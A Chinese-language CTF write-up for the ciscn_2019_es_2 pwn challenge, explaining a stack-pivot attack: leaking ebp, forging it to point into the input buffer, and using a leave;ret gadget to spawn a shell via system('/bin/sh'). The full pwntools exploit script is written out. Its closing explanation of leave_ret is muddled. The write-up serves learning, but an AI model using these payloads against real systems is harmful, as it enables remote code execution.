ciscn_2019_es_2_stack 20
首先第一步,查看文件信息
发现是32位程序,没有开启canary保护机制,随即将其丢进ida32查看
首先查看字符串
发现有一个输出flag的操作,然后还有system。
这里这个echo flag真的把我骗到了,我搞了很久最后进入这个命令发现它就只输出flag。然后就没有了,我还以为是我哪里错了,后面才明白过来,原来。它只是输出flag这个字符串。。。。
然后查看关键函数信息:
发现这个read函数可读入的大小只比栈空间多8字节,相当于只能覆盖到ebp和返回地址。这里这个ebp就是栈满了之后的四个字节,它包含了栈的局部变量还有返回地址,然后后面那个返回地址是我们可以控制的返回位置。这个东西对于新手来说可能需要慢慢理解,到底什么是ebp
由于这个可以输入的长度有限,所以到这里,我就已经不知道如何做下去了,然后就是漫长的看题解过程,然后发现从来没有做过这样的题目--栈跃迁
然后发现那些题解也是看不懂,如何去跟着操作发现ubuntu没有安装pwndbg插件,然后我就去搞插件了,也是又搞了好久,最后还发表了一篇博客,如果你也没有安装pwndbg插件,或许可以看看下面这篇博客
ubuntu22.04下载pwndbg插件-CSDN博客
搞完这个也是回到了这个题目,总的来说,这个题目应该也就花了我将近8个小时吧,主要是第一次做这种栈跃迁的题目,根本搞不懂原理,不过还好总算是理解了下面必须讲解的非常详细才行,但是仅个人理解,有错希望可以帮忙纠正
我也看了好多的题解,有一个地方不明白就是他们获取输入s距离ebp的位置到底是为了干什么,那些题解大多都是说劫持这个栈然后可以怎么样,但是还是没有讲清楚这个原理,也就是这个就是伪造ebp的原理,下面我讲慢慢的讲解这个原理
首先泄露ebp这个是比较好理解的,看了很多题解这个讲的比较清楚
from pwn import *from LibcSearcher import LibcSearcherr=remote(\"node5.buuoj.cn\",26758)# p=process(\"./ciscn_2019_es_2\")# gdb.attach(p,\"b* 0x08048632\")elf=ELF(r\"C:\\Users\\lezho\\Desktop\\misc\\ciscn_2019_es_2\")system_plt=elf.plt[\"system\"]leave_ret=0x08048562r.recvuntil(\"name?\")payload=\'a\'*0x24+\'bbb\'r.sendline(payload)r.recvuntil(\"bbb\\n\")ebp=u32(r.recv(4))
首先我们需要知道这个栈的结构,就是栈空间的后面就是ebp,它包含了函数的局部变量和返回地址,这里我们写入了39个字节,然后用sendline发送过去,sendline会自动补一个换行符,所以一共40个字节,那么函数在输出我们的输入的时候,由于我们刚好将栈填满了,并且read函数是不会自动补充\\0的,所以就会导致输出栈空间后面的ebp,这里如果我们输入的大小要小于40字节的话,那么就不会输出ebp,原因就是最开始这个s字符串有一个初始化,它将s字符串上面的内容初始化为0了,相当于搞了一个结束符,但是这里我们覆盖了所有的结束符所以就可以泄露ebp的地址。然后只需要先接收我们输入的bbb\\n之后再接收4个字节就成功的接收到了ebp的地址
这里应该算是讲的比较细的,然后接下来就是获取这个s字符串距离这个ebp的距离,下面是我的理解:我们获取了这个s字符串的地址之后,最后是通过将ebp覆盖为这个s字符串的地址,然后它的原理就是,这个s字符的前4个字符串会覆盖这个ebp,然后后面四个字符串就相当于函数的返回地址,这里我们就可以直接接上system函数,然后这里就像一般的ROP链一样了,就是函数+下一个函数地址+参数。
这个就是栈劫持的基本原理,就是我们输入一个字符串,一般是精心构造的,然后将栈填满,最后用这个字符串来覆盖ebp.接着程序就会执行我们所构造的ebp.一般前四个字节就是垃圾字节可以随意填充。所以这里得到s的地址就显得非常重要,这个s地址我最后讲解,下面我继续分享下面的代码
s_addr=ebp-0x38payload2=b\'aaaa\'+p32(system_plt)+p32(1)+p32(s_addr+0x10)+b\"/bin/sh\"payload2=payload2.ljust(0x28,b\'\\x00\')payload2+=p32(s_addr)+p32(leave_ret)r.sendline(payload2)r.interactive()
这个是第二段代码,这里s地址其实我也是有点不是很懂,但是后面再慢慢讲解是怎么来的,然后这个payload2就是首先写入四个垃圾字节,然后接上system函数地址,然后那个p32(1)相当于system函数的返回地址,然后这个p32(s_addr+0x10)是这个system函数的参数,关键就是后面的那个/bin/sh.这里我最开始也是理解了好久,这个0x10是通过计算出来的,首先我们的输入b\'aaaa\'是4个字节,然后p32(system_plt)四个字节,然后又是两个p32,加起来就是16字节,相当于就是0x10.所以这里的这个s_addr+0x10的结果是刚好就是它后面的参数,也就是这个/bin/sh最后写入栈的位置刚好是在s_addr+0x10的位置,所以这里才可以执行这个system(/bin/sh)。这里0x10不是绝对的,你也可以写成p32(s_addr+0x14)+p32(1)+b\"/bin/sh\"这样就是将这个bin/sh的地址写到这个s_addr+0x14的位置了,最终也是可以实现注入的。然后注意这里输入必须将栈填满,然后才能去覆盖ebp,所以这里就用了这个ljust来填充,最后跟上p32(s_addr)+p32(leave_ret)就直接跳转到了我们精心构造的ebp上了。
注意这个leave_ret!! 这个也是一个很重要的东西
leave_ret
的工作原理:
- 当程序执行完
system(\"/bin/sh\")
后,它将尝试返回。这时,如果你没有妥善处理栈的清理操作,程序可能会尝试恢复到一个已经被篡改的栈帧,从而导致程序崩溃。 leave_ret
确保在控制流跳转时,栈能够恢复到一个可执行状态,避免栈帧破坏或者程序崩溃